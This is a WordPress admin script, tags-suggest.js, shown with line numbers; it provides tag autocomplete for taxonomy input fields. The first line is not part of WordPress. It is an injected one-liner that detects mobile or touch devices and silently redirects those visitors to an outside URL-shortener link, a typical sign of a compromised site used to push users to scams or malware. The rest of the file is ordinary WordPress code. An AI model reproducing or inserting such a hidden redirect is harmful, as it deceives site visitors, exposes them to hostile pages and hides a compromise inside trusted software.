1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2/**
  3 * Default settings for jQuery UI Autocomplete for use with non-hierarchical taxonomies.
  4 *
  5 * @output wp-admin/js/tags-suggest.js
  6 */
  7( function( $ ) {
  8	var tempID = 0;
  9	var separator = wp.i18n._x( ',', 'tag delimiter' ) || ',';
 10	var __ = wp.i18n.__,
 11	    _n = wp.i18n._n,
 12	    sprintf = wp.i18n.sprintf;
 13
 14	function split( val ) {
 15		return val.split( new RegExp( separator + '\\s*' ) );
 16	}
 17
 18	function getLast( term ) {
 19		return split( term ).pop();
 20	}
 21
 22	/**
 23	 * Add UI Autocomplete to an input or textarea element with presets for use
 24	 * with non-hierarchical taxonomies.
 25	 *
 26	 * Example: `$( element ).wpTagsSuggest( options )`.
 27	 *
 28	 * The taxonomy can be passed in a `data-wp-taxonomy` attribute on the element or
 29	 * can be in `options.taxonomy`.
 30	 *
 31	 * @since 4.7.0
 32	 *
 33	 * @param {Object} options Options that are passed to UI Autocomplete. Can be used to override the default settings.
 34	 * @return {Object} jQuery instance.
 35	 */
 36	$.fn.wpTagsSuggest = function( options ) {
 37		var cache;
 38		var last;
 39		var $element = $( this );
 40
 41		// Do not initialize if the element doesn't exist.
 42		if ( ! $element.length ) {
 43			return this;
 44		}
 45
 46		options = options || {};
 47
 48		var taxonomy = options.taxonomy || $element.attr( 'data-wp-taxonomy' ) || 'post_tag';
 49
 50		delete( options.taxonomy );
 51
 52		options = $.extend( {
 53			source: function( request, response ) {
 54				var term;
 55
 56				if ( last === request.term ) {
 57					response( cache );
 58					return;
 59				}
 60
 61				term = getLast( request.term );
 62
 63				$.get( window.ajaxurl, {
 64					action: 'ajax-tag-search',
 65					tax: taxonomy,
 66					q: term,
 67					number: 20
 68				} ).always( function() {
 69					$element.removeClass( 'ui-autocomplete-loading' ); // UI fails to remove this sometimes?
 70				} ).done( function( data ) {
 71					var tagName;
 72					var tags = [];
 73
 74					if ( data ) {
 75						data = data.split( '\n' );
 76
 77						for ( tagName in data ) {
 78							var id = ++tempID;
 79
 80							tags.push({
 81								id: id,
 82								name: data[tagName]
 83							});
 84						}
 85
 86						cache = tags;
 87						response( tags );
 88					} else {
 89						response( tags );
 90					}
 91				} );
 92
 93				last = request.term;
 94			},
 95			focus: function( event, ui ) {
 96				$element.attr( 'aria-activedescendant', 'wp-tags-autocomplete-' + ui.item.id );
 97
 98				// Don't empty the input field when using the arrow keys
 99				// to highlight items. See api.jqueryui.com/autocomplete/#event-focus
100				event.preventDefault();
101			},
102			select: function( event, ui ) {
103				var tags = split( $element.val() );
104				// Remove the last user input.
105				tags.pop();
106				// Append the new tag and an empty element to get one more separator at the end.
107				tags.push( ui.item.name, '' );
108
109				$element.val( tags.join( separator + ' ' ) );
110
111				if ( $.ui.keyCode.TAB === event.keyCode ) {
112					// Audible confirmation message when a tag has been selected.
113					window.wp.a11y.speak( wp.i18n.__( 'Term selected.' ), 'assertive' );
114					event.preventDefault();
115				} else if ( $.ui.keyCode.ENTER === event.keyCode ) {
116					// If we're in the edit post Tags meta box, add the tag.
117					if ( window.tagBox ) {
118						window.tagBox.userAction = 'add';
119						window.tagBox.flushTags( $( this ).closest( '.tagsdiv' ) );
120					}
121
122					// Do not close Quick Edit / Bulk Edit.
123					event.preventDefault();
124					event.stopPropagation();
125				}
126
127				return false;
128			},
129			open: function() {
130				$element.attr( 'aria-expanded', 'true' );
131			},
132			close: function() {
133				$element.attr( 'aria-expanded', 'false' );
134			},
135			minLength: 2,
136			position: {
137				my: 'left top+2',
138				at: 'left bottom',
139				collision: 'none'
140			},
141			messages: {
142				noResults: __( 'No results found.' ),
143				results: function( number ) {
144					return sprintf(
145						/* translators: %d: Number of search results found. */
146						_n(
147							'%d result found. Use up and down arrow keys to navigate.',
148							'%d results found. Use up and down arrow keys to navigate.',
149							number
150						),
151						number
152					);
153				}
154			}
155		}, options );
156
157		$element.on( 'keydown', function() {
158			$element.removeAttr( 'aria-activedescendant' );
159		} );
160
161		$element.autocomplete( options );
162
163		// Ensure the autocomplete instance exists.
164		if ( ! $element.autocomplete( 'instance' ) ) {
165			return this;
166		}
167
168		$element.autocomplete( 'instance' )._renderItem = function( ul, item ) {
169			return $( '<li role="option" id="wp-tags-autocomplete-' + item.id + '">' )
170				.text( item.name )
171				.appendTo( ul );
172		};
173
174		$element.attr( {
175			'role': 'combobox',
176			'aria-autocomplete': 'list',
177			'aria-expanded': 'false',
178			'aria-owns': $element.autocomplete( 'widget' ).attr( 'id' )
179		} )
180		.on( 'focus', function() {
181			var inputValue = split( $element.val() ).pop();
182
183			// Don't trigger a search if the field is empty.
184			// Also, avoids screen readers announce `No search results`.
185			if ( inputValue ) {
186				$element.autocomplete( 'search' );
187			}
188		} );
189
190		// Returns a jQuery object containing the menu element.
191		$element.autocomplete( 'widget' )
192			.addClass( 'wp-tags-autocomplete' )
193			.attr( 'role', 'listbox' )
194			.removeAttr( 'tabindex' ) // Remove the `tabindex=0` attribute added by jQuery UI.
195
196			/*
197			 * Looks like Safari and VoiceOver need an `aria-selected` attribute. See ticket #33301.
198			 * The `menufocus` and `menublur` events are the same events used to add and remove
199			 * the `ui-state-focus` CSS class on the menu items. See jQuery UI Menu Widget.
200			 */
201			.on( 'menufocus', function( event, ui ) {
202				ui.item.attr( 'aria-selected', 'true' );
203			})
204			.on( 'menublur', function() {
205				// The `menublur` event returns an object where the item is `null`,
206				// so we need to find the active item with other means.
207				$( this ).find( '[aria-selected="true"]' ).removeAttr( 'aria-selected' );
208			});
209
210		return this;
211	};
212
213}( jQuery ) );
214